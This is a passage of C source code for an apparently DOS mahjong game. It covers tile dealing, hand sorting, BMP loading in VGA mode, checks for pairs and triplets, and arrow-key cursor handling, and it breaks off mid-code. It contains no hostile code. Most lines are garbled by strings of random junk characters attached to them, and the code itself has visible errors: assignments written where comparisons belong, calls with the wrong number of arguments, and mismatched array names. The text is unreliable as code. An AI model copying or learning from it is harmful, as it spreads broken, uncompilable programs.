% o9 Q/ {9 \2 a; F- ^test[ill++]=pt[kl];/ ^) y; b% ?3 p0 l
}
8 A/ P$ U  N9 C% X- }isthree(test,tt-2);
6 z3 P% B6 C' s$ n7 K. |2 j}
/ A9 J* {& S1 v# n7 n}
9 k8 g+ b- c; H# [else if(tt==9)2 ]5 b9 |( m2 s% o$ o8 E2 U
isthree(pt,tt);, q) ^7 H' @# J! |+ ]
else if(tt==11)
& M8 D+ E6 A" }- _1 Afor(i=0;i&lt;10;i++)$ s: ^6 O) d+ m# v1 z8 q6 L  U
{* b: q2 J$ G0 ^# N
for(j=0;j&lt;2;j++)
6 \( `9 Q" Z3 D  y{test[j]=pt[i+j];
- |( y7 E4 Q- d6 {$ m}
  g: F  g8 r) X6 `' v* Jif(istwo(test))
6 q% J3 Q5 \0 w* }! K' C0 x{ ill=0;
! b) B" i4 o! u0 O' Rfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/. G0 v" J# Y  N$ R
{if(kl==i)
& J- C3 L8 ]- a3 N. d/ E7 e& o: C# J{
( B, ^: _2 |, ^3 b, U& B# G, nkl=kl+2;
) b2 d1 Z+ K$ Y: |& [if(kl==11)
# @8 U) f/ L7 D0 u# Bbreak;) f% G* `1 q' b' a' W& I6 }6 c5 D3 v
}% H# W) D1 x. B, v  M0 f. c
test[ill++]=pt[kl];: a) n! ^& `( T7 M
}5 I6 v7 m* @+ o  p9 L) L( c1 {
isthree(test,tt-2);
+ `) l$ I4 ?% O  v7 d0 |; @( m}( m$ b7 O0 y  x5 s$ V; C7 C
}6 H' L; ~& \7 f4 R  r9 ]7 r
else if(tt=12)  O" ]/ D! C# }& ~5 k$ F" z+ ~! H. |
isthree(pt,tt);
, O$ A2 c. |( O# Q* w9 a, |else if(tt=14)# g) t: |7 X: j  g- C$ L9 V
for(i=0;i&lt;13;i++)5 |2 Y- ?) r  h' G7 P, i6 S5 t/ s
{
; _: G& |/ u, k# t, \. _# `% u5 `1 zfor(j=0;j&lt;2;j++)1 ^7 T* q& ^0 i
{test[j]=pt[i+j];
* r7 W$ A. a' |}
" x3 R0 ~! G1 m/ @$ M* |' {if(istwo(test))# O' e4 T7 J, q# P6 k. |- J
{ ill=0;
# Y# O; \" |* T3 m. ofor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
: s+ @! G; J% I7 |& r2 Z0 l{if(kl==i)/ B4 S) n" s  |' L) o
{
1 a9 u# e$ _0 I  W1 k. Bkl=kl+2;1 Z/ T6 o& j# U; V4 E, x- V
if(kl==14)
- ~" s' M9 j2 i7 T" c+ mbreak;" g8 L) I: m' H$ y& r! j& o
}2 R  e8 g, e& a+ j( i8 {
test[ill++]=pt[kl];& v2 a) j& N/ [& Q5 F$ c
}& `% u- x( n! W( q
isthree(test,tt-2);
, x' H0 h. U) }1 i3 a) _}9 B! |) C5 @" G  O  b' {
}) A) V! t  n( ^; Z
if(ii==2)- e- B) ^& x, ~  I0 r
istwo(pi);1 x# e+ \! O9 K: T0 @9 m; e# A, w5 s- T
else if(ii==3)
, D) {5 [8 U9 t  r. R" _! t. T+ zisthree(pi,ii);0 |- y% i0 I* T. Z' F6 P+ g: W
else if(ii==5)$ q8 ^! v* L0 d; g
/*pi[5]原始牌数组,假设已经升序排列*/; ~9 l! }- A/ p0 U/ t& h
/*test[3]用来放置测试牌的数组*/( r6 F! T7 x$ e# X  c# @# M
for(i=0;i&lt;4;i++)  T9 V/ u0 Y4 }* \7 P; D
{
1 D, V6 t9 P; ofor(j=0;j&lt;2;j++)
, J" d; {, q2 w5 q/ q1 D; y{test[j]=pi[i+j];
+ a  `$ z# w9 _0 _}! ?& d! J  S; F+ k1 W
if(istwo(test))& T2 k$ |$ K( U+ H+ G2 W
{ ill=0;: V+ m  L! N9 [+ v
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*// w1 u/ t9 H9 c/ y
{if(kl==i)
; L- C( W+ [! N3 T& u" ]9 g, Z, g2 h/ l. N{
% b" b/ t8 B2 I$ V! _kl=kl+2;
1 T$ M% C; r2 z' v3 vif(kl==5)
5 |  Y6 ~' {3 |break;
  \$ ^2 x% O* }7 G}( ]! f% b9 L7 A- `2 R9 U! r& U( s
test[ill++]=pw[kl];
) \, s. j# U. c8 V& S}
' \8 B& E2 D/ t4 w; W: p  Uisthree(test);1 \+ D( X) E: S, d5 l; b
}9 n1 }# O3 j/ v* n$ |
}
8 a) C: H& c5 s9 g& w, ~( Oelse if(ii==6)
# h5 r0 f, k& r% `* |6 K5 Visthree(pi,ii);
( i+ m' `5 F2 Pelse if(ii==8): Y0 ^- @, W4 v4 k, h) T7 Q
for(i=0;i&lt;7;i++)- B7 M% m" P6 ]' p, U+ S8 {
{! ^' [! S: D# B+ |* k# T, x- a; m
for(j=0;j&lt;2;j++)
: V8 R8 ^+ Z- m4 l{test[j]=pi[i+j];
9 J" W8 N' m# i& \}/ {! K: f6 b9 j+ W; N3 w
if(istwo(test))
; K$ N" d* ^6 _& O* p& ~8 L{ ill=0;7 F4 j. z+ D! i6 t& C/ g- ?* k. c
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
2 q. f; g( n3 n4 A" n{if(kl==i)
- V0 T' X8 A8 B% x{
8 X/ B' h) W* Ykl=kl+2;5 p6 o0 X' F( v, J& a
if(kl==8)
! J; N' p; S3 s7 N( R: a3 D" c) dbreak;
9 n" y' J" c' [  j0 z/ M6 }}
% t/ P- n' s0 Ttest[ill++]=pi[kl];
4 W- x. a' V% T4 t" o}
7 N- V' G/ \+ @/ W1 Fisthree(test,ii-2);
! o; i7 @$ e8 S9 R2 p}
. Q& d7 i4 ?/ a7 \3 e  |! d% T( v: F* R! c} - X; i6 Q. B) p$ N, V
else if(ii==9); N& T' q$ n# ^* G6 X  f
isthree(pi,ii);7 _7 r* V. B, t+ v  M" D
else if(ii==11)' k( V; l* K0 n- z) n, c( S9 j$ q. h
for(i=0;i&lt;10;i++)+ z7 x: G4 `( K% n  D
{% S7 A, s# K8 @2 S
for(j=0;j&lt;2;j++)
+ N. r; d. g! b; _- [{test[j]=pi[i+j]; 3 {* l# c- d; T% z
}2 e& T2 P! H5 v* R
if(istwo(test))
$ C5 V1 o4 ], Y  Y8 N1 B{ ill=0;
7 e# A7 T! v* v# C  V7 ?* Dfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
6 U! ]; b. K5 r- _  B5 t; I, G# v2 b{if(kl==i)" \8 ^+ U! W( x9 F
{( S2 P3 w. @; Y
kl=kl+2;
/ `- H. n+ x: X* |3 K6 hif(kl==11); ~+ Q. X3 b9 ~4 [
break;
* O( m. X/ b$ L' E' |7 T}
' w/ p8 s& M6 w! [- vtest[ill++]=pi[kl];- }7 r/ Q# i" T9 y) D
}
% Y3 L% K5 b' H5 L! ?2 D. Qisthree(test,ii-2); - Z; q0 B2 ?# n
}
1 B4 g" k. R' H) c1 f  M9 b}
) h3 g7 f/ q3 a; A. U, Lelse if(ii=12)
2 c; ]+ {9 b4 r, @7 P, tisthree(pi,ii);
& u( d6 {" K* g% M3 e9 Yelse if(ii=14)
* b& ~& z$ W# I( C& I- P! vfor(i=0;i&lt;13;i++), b1 f- @. D" z: m3 y: b* e$ A. b
{
. J1 y1 r5 c: k3 W! j/ ~% C0 afor(j=0;j&lt;2;j++)4 a& _4 Z. O! Y2 w* x" y+ S
{test[j]=pi[i+j];
& }! b5 u6 s# o; H- [; F; Q}( _; N# o/ q; X- W8 W/ m; h
if(istwo(test))
; |; X& g$ u) h$ p& `  ~{ ill=0;
: n0 h* l. u' c3 L2 vfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
% Y& h4 Z- J1 w- g5 Z, h. V7 P8 h8 T5 i{if(kl==i)9 H9 p( Z- R7 u$ y: l
{
6 `' v1 N; s; Y3 m+ v( C% @. pkl=kl+2;
: j- F" Z! F+ j  ]% E+ Cif(kl==14)+ a! ^7 y& r! q  l* R/ Z$ G
break;
% W9 V- E  S+ v$ Z$ l$ H' N+ D+ M}$ Z* k: w- O/ Y) m! X4 J( Z
test[ill++]=pi[kl];
' C# K- P; d: ?, z* m5 B( _}
2 M; c: ?$ N7 Iisthree(test,ii-2);
3 U% G1 {% _. W- `0 w3 g2 L4 w}
" E) a: ^7 e% [# A}
$ X+ m* U/ P8 D; t# E$ p( Wif(ff==2)
: @; b2 B& W/ t( B9 ]  nistwo(pf);
, ?& b( c( u6 Q# ~else if(ff==3). I, b' r/ f; s7 O
isthree(pf,ff);8 d- Q& k7 [. e/ x5 J9 t- _
else if(ff==5)
: c# X/ \$ v& k8 o; c, [/*pf[5]原始牌数组,假设已经升序排列*/
9 W$ ?" h; U& O9 B5 X! L3 f% C/*test[3]用来放置测试牌的数组*/# C7 N4 g( q* d  s( E% y
for(i=0;i&lt;4;i++)
9 c. B0 S/ @6 A; x/ x4 o. o/ P( q{' Z) G! f+ Z: h0 M: `6 |
for(j=0;j&lt;2;j++)4 q, H% s, t- L( ~; A5 r
{test[j]=pf[i+j];
7 j2 R4 \. x' @/ Z}8 \  x" b) e- j4 d8 t7 C* B
if(istwo(test)): m9 w1 A* L/ H6 ~  B' ]( m3 f
{ ill=0;
8 W4 X+ j8 J# Y- zfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/, W( ~! l& d' S* U
{if(kl==i)
& H9 k3 ]5 N- |3 W4 T{
; S% p6 V6 U6 h4 J( J, }6 h/ @kl=kl+2;3 x3 q+ ^% R, ~1 e- d( ?' n5 [6 o
if(kl==5)- z# i% ]7 X" U5 Y( J% u( J
break;
2 t& f, t. v( |; X7 g6 [; H+ a}
4 B2 x' J2 c  O$ G, Gtest[ill++]=pf[kl];/ Q3 s1 {1 D% Y  f+ E
}6 e" F/ S; t% e& V3 r
isthree(test);
% c4 A" I: v) K; _' {$ _6 R}4 V0 h4 o4 c* l; R& L, Y& s: O8 u
}
# K7 j7 a7 H( v0 N! }, Celse if(ff==6)1 p% D+ q- x' C. h- z
isthree(pf,ff);
3 I0 ]! K' b! m3 Lelse if(ff==8)
+ b: g9 Q1 ^- Ffor(i=0;i&lt;7;i++)4 K! }( H7 o7 d9 j& }# ?: B" ~
{; u5 i4 Z: \: d4 ^  I7 g
for(j=0;j&lt;2;j++)
9 w1 `& S' b2 Y  k$ S{test[j]=pf[i+j]; 6 _, P* B0 s+ J% z
}
% h2 }: U  f+ V, Zif(istwo(test))
4 E% q; C' {+ ], V{ ill=0;
4 u7 ]5 K6 U4 _# X; N3 zfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/( f; ~9 A* F& E1 Q- S) M; T$ b
{if(kl==i)* T: i& }/ K4 p; s. u/ ^9 u; V
{
9 Y8 S, p& C! R/ V# m0 Kkl=kl+2;
) u0 }2 D1 b, |if(kl==8)
0 Q; ]& v% E( t. n4 g( ^( dbreak;
4 ^% p- \5 E0 ?: `, W% I}
  V8 U4 |5 X2 h8 r6 Q: I# _test[ill++]=pf[kl];
9 m* d7 z: f8 c) H$ T; o' \0 ~}
% F& W; Y1 n7 [! g1 z, [isthree(test,ff-2);
, m4 e: ?+ ?; c+ ?  S, z}
; B* `+ T* n8 i. v: v/ K- a} " k. u# a0 v2 h3 }% t) W; a
else if(ff==9)! t. Q# h1 w( @  u# f8 w4 q
isthree(pw,ww);
2 Z2 E8 K4 t3 T1 C. y1 f, qelse if(ff==11)& i! x: k* V( `* Q# m
for(i=0;i&lt;10;i++); m/ z9 l9 Q- o: C; g7 ]) ~1 l
{
) J9 f/ A: o% J4 n2 s3 Cfor(j=0;j&lt;2;j++)  k' b  r  S6 S3 _- G/ y' x$ d7 w" W
{test[j]=pf[i+j]; 2 D: l6 Y) A) H: T6 M
}
+ l, N+ L( w0 }" uif(istwo(test))
2 t0 R" y3 q( f, y; Q# e{ ill=0;+ c7 }/ U* x% y8 U
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/# q2 J9 {+ d& ]
{if(kl==i)
+ r, {! \: l# i! z8 `! |{
2 }" r% ]' u8 \$ `. L( fkl=kl+2;2 A8 L+ q5 Q' h0 Y3 M5 \9 y
if(kl==11)) N: G  S9 b2 A# b* ~
break;  v. Z7 W/ P# _  w& a
}
: w& F# [- a' v6 o7 htest[ill++]=pf[kl];6 x" v. ^2 l! s* i
}: W6 z  J: J6 q% X" V
isthree(test,ff-2);
8 Y$ j$ j8 K) ?8 c: v7 P5 O}7 Z$ @) e- y9 H# f
}
; \: w7 x! a2 b* D# belse if(ff=12)
7 N! F, G4 B9 Risthree(pf,ff);+ l( ?+ k5 z7 v7 v7 A" M
else if(ff=14): @; O; k" p8 k
for(i=0;i&lt;13;i++)
9 ?7 B, |7 A5 ]+ A4 u7 E1 b. c{+ b. W9 {. x) ^$ T- }
for(j=0;j&lt;2;j++)
) y, w6 z# X: u  G8 P0 O8 Z{test[j]=pf[i+j]; 7 o/ ^8 j3 j  C2 a% L
}
7 Z# b6 f$ M- i" ~5 L3 Aif(istwo(test)): F* G1 K8 f, c8 }/ a. \- W+ y8 T
{ ill=0;
6 B' Y  ]0 Z, M  J% Wfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
: q7 I( y) _* H: z{if(kl==i), m: h3 U3 k+ |7 d9 Z' N4 q6 }
{  I! r/ @" c# b7 O$ n9 D* j* p8 W
kl=kl+2;; Z4 {1 K( y9 L; E# \2 U& {
if(kl==14)
: {' r/ e. ^' f$ b! i& `! kbreak;
, U3 h# ~# \, u6 }}
! O7 z; ?# O2 u5 p; q7 ?test[ill++]=pf[kl];2 t* e- O/ m$ n
}1 j. a* E5 {6 X
isthree(test,ff-2);
- {7 }( Q; O( e3 w8 c9 K5 T}
6 n0 x3 Z( P6 s% N2 s- k}
/ a$ S( {" d9 N2 u, b/ [# V}
9 _$ ^( o) c, k8 h4 B* z3 O; yvoid main(void): R# Z' b6 \! k4 }3 Y/ R$ T
{
, l& y0 C, V) z* b& D7 fFILE *bmp;
2 P2 T- W- i: C. I* gstatic char *name[2]={"ff.bmp","logo.bmp"};
1 `( B0 i: s$ A5 Z8 o9 |8 K* [char *p;6 d, L  n* S' y" {
int *lingshi;
5 Z  R/ M- l; F0 \- eint x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
9 n" a1 @" j* C$ e" d5 ^2 d2 o- C" Tint every=0,w=0,x1,x2,y1,y2,every1=0;- ?# J8 t3 J5 @) O0 ~) F
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
9 Y% D; s0 ?. C9 t" p' x4 ^4 {) M. gBYTE palette[256][3];$ I8 n1 ?) {; z* C. Y' N6 I+ w" K
SETVGA;
5 u* f' k2 B2 G7 mgetch();# m8 x& K. n6 U
while(t--)
3 s) d3 x0 C1 r8 p0 ], P- }{
, r5 E' V0 l! Z" Bbmp=fopen(name[t],"rb");
( R  d0 S8 S+ D4 c$ N! ?) @fseek(bmp,54,SEEK_SET);! S9 H5 v% m9 U# X2 Z
for(i=0;i&lt;256;i++)$ y  _% o+ H, K& e# e3 U* J
{$ q+ _. f* t' p6 ]
palette[2]=fgetc(bmp)&gt;&gt;2;
, d0 O( r, h4 I7 f$ [palette[1]=fgetc(bmp)&gt;&gt;2;
. U! @' R- U3 H# q: [7 Xpalette[0]=fgetc(bmp)&gt;&gt;2;
- M! `7 p3 e3 [  gfgetc(bmp);( t: v- j; U& I1 K
Set_Palette(i,palette[0],palette[1],palette[2]);& z) ~6 y+ S+ ^7 W5 f9 S5 F
}
7 d( y) s) X( B0 B% yfor (y=0;y&lt;200;y++)
/ r" A. ]7 O8 n- gfor(x=0;x&lt;320;x++)' i! w7 R- l3 G5 v% Q7 b7 s  a+ I
pokeb(0xa000,y*320+x,fgetc(bmp));
# \1 M2 B2 H# L: n8 @0 vfclose(bmp);
- w) @: z/ ^' E) R. _2 Q) fgetch();& Y. \5 K4 F0 j1 p+ a
}
: k; r, {7 A5 ~) r8 D7 R0 x. N4 Mgetch();6 ^- h6 h1 {& y! b
fillRectangle(0,0,320,200,0);
  b: Y3 ]. j2 ~, |+ U  Rgetch();( L7 G1 w; k; T3 S0 k3 ]/ b
randomize();
$ S; b/ ^# {; S/ D7 Xme.m=onetothirteen;8 ?' D9 d3 q( d! W/ K8 ^
while(me.m&gt;0) /*先循环,给自己拿牌*/
& s) a3 c! L; t& T{2 ^4 s8 }0 m# A# k+ e4 h& p

( u! `- e) W7 N  stemp=random(136);
( t0 @" S! `* F) Y0 s" Dif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
/ ?2 J2 Y0 R( k9 [9 e( Q& o{
% |1 p. p9 w" Z$ O/ gme.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
& a2 U& D( d4 \& r$ bme.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/% B" \$ e  y+ r/ }) m* G
me.pp[n].number=temp; /*第几张,用来排序*/
. X& k3 O4 s# d$ l0 Lm[temp].data2=1; /*判断牌是谁的*/
* l, U( p1 G9 g( D( g# X  akk=1;
& l' M5 E& S# i1 G2 G}
, M  Y8 s+ F9 Q9 o( V7 gif(kk==0) /*判断如果又选择了,就从新再选*/
8 I+ R8 b$ Y( _0 L7 j/ t0 @{
) N8 e9 i  L# I1 H9 L  Nme.m++;
" O# R5 Y$ ~" t5 L: on--;  V9 w5 z; {7 [+ j+ P  x3 Z' H
}
/ c# }8 g) k4 z, b3 Xme.m--;
$ Q0 a8 N6 R9 a8 P5 `n++;
$ J2 h  r% @) z1 f6 F! W# |kk=0;5 a5 v( n* c$ S" ]" ?
}" H  G' e, T. F: |- Q- x) E" n
me.m=12;& P7 G, ^% O7 E2 L7 y
melipai(); /*理牌*/8 c8 M! Y1 N8 ?- }( ^
' \- G+ A- E( W1 C2 @
n=13;
; R( _/ L! {! v7 Uwhile(l&lt;n)1 u, w# Y- f; V0 ~/ L
{: u$ i% ~% i6 v& {( u, u" [8 {
z=z+20;
- U1 t& Y2 e/ v7 y3 B3 tshowbmp(l);
/ L; i/ a1 X" s! Cl++;
9 b7 J4 Z9 s4 P5 t! c8 [3 K# ?  l4 @; v1 D/ s: z: g0 f/ q
}6 ?! J7 K# U# W) o1 n
randomize();
- {( S8 Z  n3 I* Ncomputer.m=oneorthirteen;
: P6 ^& C# e& x3 gn=0;( m8 O  t6 S6 ^# G3 |4 I# k3 k* H, {
while(computer.m&gt;0) /*循环,给对方拿牌*/
) H' h4 \" v8 C" M; q5 A{
9 M! z" ?) H  j. _" C% a3 jtemp=random(136);; [+ \: @" |6 \+ C! E. v9 q" I0 r# t
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)8 g' j. w( c4 g, G$ U8 z
{1 V& x) C1 I' H; t3 x
computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
8 e# p6 R7 A7 u3 B5 |( g+ J3 s$ u' ]! rcomputer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
1 H( S  Z- {8 N" Q; scomputer.pp[n].number=temp; /*第几张,用来排序*/. x6 \9 \& _, g- W! T
m[temp].data2=2; /*判断牌是谁的,2为电脑*/: d$ y, H- E( D3 o% V3 O
kk=1;( b# t5 h: X. P
}
% D* @4 ]8 C1 lif(kk==0) /*判断如果又选择了,就从新再选*/5 r( ~) E7 {5 C- O5 T
{
- ?6 Z9 u! k8 Y& f4 O& |( Hcomputer.m++;" X# p9 @) Q8 w7 w8 K
n--;3 [/ t1 h( \- V  V- A
}
& J5 F. z) F9 m+ b" lcomputer.m--;3 U2 Z8 ], @6 x* ~9 L) W  R+ O- P  W
n++;
# A$ _! a. b* ?1 [! Okk=0;
0 L' m! X8 z! E}  c: ^9 H. I* M/ t2 h& [* T
computer.m=12;
& ^. ~1 B8 l1 m% Scomlipai(); /*电脑理牌*/. s" C0 A0 E2 C5 J
n=13;
: L0 B+ I; H9 [+ H+ S& ~" v( {. awhile(ll&lt;n)5 b" j6 `* x3 k: H: u9 k
{
$ X+ z" M5 f, Z* bzy=zy+20;
2 S7 j6 P% ?* }showybmp(ll);
$ {4 \% Q$ x- L, |0 o8 All++;
! `2 U3 Z# |* _% b' T" P( Z}
0 k# y3 u9 V+ ?% X5 ^0 {& o6 [9 b; q! n4 g% U! W1 ~9 _
z=54400;
: }% F! g5 l! _$ X; A  T. B# v1 Hwhile(key!=ESC)
2 |' n# g! C' B: ~8 S( }$ M{ 6 c; M  Z5 f4 y" [5 q

6 l' n: y; N; Q- i3 B" @9 [keyy=bioskey(0);
  w* Z) W6 Z* V" G1 n; eif(keyy==LEFT)
1 r$ `) l7 h* k& k4 \3 j$ v6 L{ w=1;' r& C1 P0 L$ _. z
if(every==0)
! @4 T' F0 C/ G) J9 Z{! C. [- Z2 s, y. b
every=1;
/ d8 E5 l2 ~1 D/ n- ^7 {6 Ez=54440-5*320;/ d5 F0 T6 T" n/ L' I5 e4 Y3 O. l

: ^0 V' M. }, g- |}' L. J! j. T4 Y2 B, ?3 l
zz=zz+5*320;
$ P/ ?3 y% u, g) Pshowbmp(every);
3 I: m8 w* |8 \: Pif(every==0)
- G, k' c2 w0 J# P: o{
4 y, Z! I4 C" tx1=20;
4 @1 t" [9 `/ j" {y1=165;
0 o$ Z7 K) \3 ]$ D; [5 m+ L) }fillRectangle(x1,y1,x1+20,y1+4,0);
2 b6 S/ n2 }" G8 O5 [}7 [6 P  a4 p# }* \+ N
if(every==1)  M% P4 i* Z, ?
{
5 @; A5 H( i" \$ jx1=40;
* U( _# \7 |3 g) s% ~" B* Py1=165;
$ w6 y/ W) h0 v; IfillRectangle(x1,y1,x1+20,y1+4,0);5 C* M8 l2 c! o4 d$ Y. p# U
}
  b4 x- H5 t, hif(every==2)3 t. ^, o4 ~0 a5 O7 N- G: L8 x; U
{
- ]* w9 n% e# E" g2 L* B: ex1=60;1 F( K0 G; w3 N' P, H
y1=165;: P& T- l4 S2 L% G+ L4 {
fillRectangle(x1,y1,x1+20,y1+4,0);- L) s! A8 Q& M4 t, o
}6 z0 \3 K! g' Q- n$ ^
if(every==3)6 |+ |% d6 k& \% ?; u9 N; k
{0 Q! a7 H/ r; `* s- A
x1=80;
" |* |# x6 _% I+ s/ j8 Y; vy1=165;
  E% @  o/ L# ]" J3 d9 v# H. ?fillRectangle(x1,y1,x1+20,y1+4,0);# f2 ~  Z. q8 X) r5 x. ~' ~
}
$ h5 r, F7 p1 y! o/ _4 ^7 \" Eif(every==4)" r7 c0 a1 J4 n6 U, g+ y
{
2 O  a1 _4 C4 }1 ^8 R. Kx1=100;( B5 z% Z4 [1 N5 B
y1=165;
- k3 |3 X' i8 {3 U; G) w- IfillRectangle(x1,y1,x1+20,y1+4,0);3 d% n* S( a% Q& ]% h  {# |
}$ a1 Y: p+ O: z! d9 J! Y
if(every==5)4 E' ]; m1 S% \' i* X% ?3 E0 D
{! {) {4 ~6 c/ Y: }# o# y
x1=120;
0 a4 d1 E# R* sy1=165;
6 b8 k3 x9 f: |% @* \3 F9 v) V* afillRectangle(x1,y1,x1+20,y1+4,0);, k( {5 d. u$ m9 G( R2 I
}
/ }' t6 b' ^: |/ c; Rif(every==6)
" G5 P) f3 P; l0 n{
8 m9 b9 l2 _. M9 }% Lx1=140;) I" @- I  X0 c1 B! m+ y/ |
y1=165;
9 I( e2 }) N$ q. O8 [. A! u, qfillRectangle(x1,y1,x1+20,y1+4,0);
6 E2 l6 K' j! Y- I& s}% v- W* X, ^( g( W- E: m/ K
if(every==7)$ _. m% K1 V( Y( h" O! H+ K, A
{2 c$ U! c) V  J
x1=160;7 w  d7 [( b; W7 ^" N! g! ]: s
y1=165;
; q) x' j8 S6 |8 ifillRectangle(x1,y1,x1+20,y1+4,0);( _9 p8 s9 S: N$ t7 U1 C
}" Q. ^! V9 \$ r. B
if(every==8)0 X, C, b* L9 V, T6 X
{# K3 q6 U9 a8 w: K3 r& d
x1=180;* P  `7 c0 U. L7 V# x( c
y1=165;5 i6 l0 @) L( s; |
fillRectangle(x1,y1,x1+20,y1+4,0);" D3 `; T& |/ y: S$ r3 R
}
" d  q: |8 ]$ V9 h5 W- Vif(every==9)) V+ _5 x, S% ~: |1 S
{. k9 s) `3 K. p: {6 T9 q
x1=200;
- L- Z* F+ g/ A& hy1=165;
& t- G4 K$ n! W* E: N8 B! k9 QfillRectangle(x1,y1,x1+20,y1+4,0);. x0 m" `. H4 U" W) M
}
1 u. Q$ E/ o" t2 K1 kif(every==10)
/ o6 t. Z& K# W7 `1 Y{
! T; f2 C; T) T1 t& A  Tx1=220;
  k8 i, J% s# `7 m' V1 }/ ay1=165;
+ v1 }# B( ]; A' L7 [6 O8 v; QfillRectangle(x1,y1,x1+20,y1+4,0);
8 r% W( q6 q/ ^( ^}1 x" M3 Z. i( ?2 B* f
if(every==11)6 S5 D, U: U) v5 \5 Q- x
{1 }3 q. [) @3 ~* y& q
x1=240;
% j4 s  P8 c- H4 w7 V; hy1=165;. X( U( r# X( ]) O
fillRectangle(x1,y1,x1+20,y1+4,0);
( @% D5 o- M0 {) Y: U" I  W/ z}+ D8 e) }* O3 u0 o  Z
if(every==12)
; |; f; @0 b! A/ N( [7 K' K! @2 _{& j: U( ?! L0 T# R
x1=260;
+ t8 ?/ A9 b& Z" J: ]# @% Jy1=165;( _) [  x( i0 Z9 S  M
fillRectangle(x1,y1,x1+20,y1+4,0);
$ w2 r0 z  d% w) V( C& S}
4 r. ~6 k* K2 h" Z7 V& hzz=0;6 e3 G5 O! ~  J
every--;6 N6 f) G  g- I' |
z=z-20;
0 R+ f& q! h( Y' `}
4 k: l( M4 ]* x7 c% f% O9 kif(keyy==RIGHT)
7 u& U' n: b3 o6 W{ if(w==0)0 {% Z6 u+ m6 v9 h( M: B! }
{
6 f, h* U, E' g3 {+ d/ `4 c2 gz=54440-5*320;. C. X6 m; {* q- _: u+ I6 {
z=z-20;1 V3 W3 C8 x+ @2 t6 \8 c& i! m
w=1;
2 {+ s- F) B' |0 q}( c- y* j& V, I0 w  m4 h
if(every==12) ' r! C1 d8 e. B* w& J- O. k$ O4 p
{
/ ?& A& c. H1 E4 G$ {3 s( pevery=11;
( V* Q7 |/ G# L! u9 yz=54640-5*320;
; r: y. X, z6 v- A$ T, R}
2 H  o( ?1 n! N* dzz=zz+5*320;# i+ n" t# S1 g+ W& a0 o
showbmp(every);
  U" I4 [! n; v. }" @+ |if(every==0)+ {# m& Q1 f! h" A! D4 _/ d8 o+ y
{
, e8 x& R& A/ i! C  nx1=20;
' I' e  C1 g# ^y1=165;3 S4 u1 [  j, n5 g0 }1 Q* w8 a# F
fillRectangle(x1,y1,x1+20,y1+4,0);. L% P: k. c% y1 L- v5 ~
}
" d/ m2 Y$ n" I( z7 k9 E+ J( H0 c% Xif(every==1)& Y: h! F4 ]0 e, N, }0 j$ ?0 _+ o
{
  p# P3 }6 L1 h3 _! f' k* V. ~% rx1=40;
5 ?* A, S! [0 ay1=165;
$ i$ I7 Q3 a8 xfillRectangle(x1,y1,x1+20,y1+4,0);/ C- i: u1 B5 [
}
) P- F" s3 B6 r6 C/ oif(every==2)1 q1 K5 X# p& Z6 ]
{
" o! J' ~/ F/ e. M* b/ h5 }. I; Px1=60;
+ d/ U* K+ \- {y1=165;8 X4 L" O8 O6 Z* s2 r% ^0 s3 v
fillRectangle(x1,y1,x1+20,y1+4,0);
: ]8 n8 u4 F8 {& \( g5 \}) i& ~/ F# c9 w- J* e6 I9 F
if(every==3)  t5 \% ~. P2 S$ p" |
{5 h+ w7 J! b- J1 F5 F  \: j) k
x1=80;
0 `6 J. L) Z2 J, K& |y1=165;9 U  Z. y7 }4 A" ?  W# s
fillRectangle(x1,y1,x1+20,y1+4,0);
4 }# G* E- _3 A}
6 Z( I- {0 R7 F: x' M4 Uif(every==4)
4 c4 I9 T( q7 ?7 W) m2 c{
- J  u+ G5 E% Ix1=100;1 T# ^- E. _+ @. x
y1=165;0 Y2 c4 b' s% c3 Z
fillRectangle(x1,y1,x1+20,y1+4,0);
4 H$ K8 Y, d1 {! @}
8 G/ F: s! i9 ^" \+ ?& t1 Eif(every==5)
$ n+ h' ~2 [% o{
/ b9 b5 R; r, J3 yx1=120;
, _& ]4 _8 u* T; K# p/ Uy1=165;
& e' G: C% _- E5 J: h( p0 BfillRectangle(x1,y1,x1+20,y1+4,0);
2 o# h0 m+ v" e" x& H: l}
& _% y; @3 b( x7 c8 Lif(every==6)
% Z/ P) p, @! |% Y  K* u2 h: D+ b: _. n{
% Z- r$ {( \7 Xx1=140;
/ r/ c+ R0 i5 d9 W1 M' Gy1=165;$ i8 P8 u* N; }; E
fillRectangle(x1,y1,x1+20,y1+4,0);
! t9 g( K2 U' O$ ?}5 T1 p& h( ^5 k1 |6 s5 e( m6 J
if(every==7)
: a% e9 q- g1 ~& X6 p# Q{
8 N+ A9 f* x6 G/ M' M+ gx1=160;
  f6 V% X3 h, r7 m( dy1=165;; D% c! J: h* Z! y# M& p
fillRectangle(x1,y1,x1+20,y1+4,0);
1 i% `% ?$ Z$ r. I9 b- `}; `+ f7 K9 C7 t' V0 [1 T/ A( J
if(every==8)5 H7 _; o: U/ n6 v/ L
{
: |( |8 b! F" J5 ix1=180;
* D0 x* O! l: A1 m! M3 E: M7 v* ay1=165;
# X1 Q1 R# G3 a" v: F  xfillRectangle(x1,y1,x1+20,y1+4,0);$ r* B+ c  M4 o+ x
}8 x" h8 K% I8 Z
if(every==9)
# p2 q! t% z, @6 X" E{
  x+ {# A2 ]0 N% M) px1=200;+ o1 v3 \4 T1 }
y1=165;
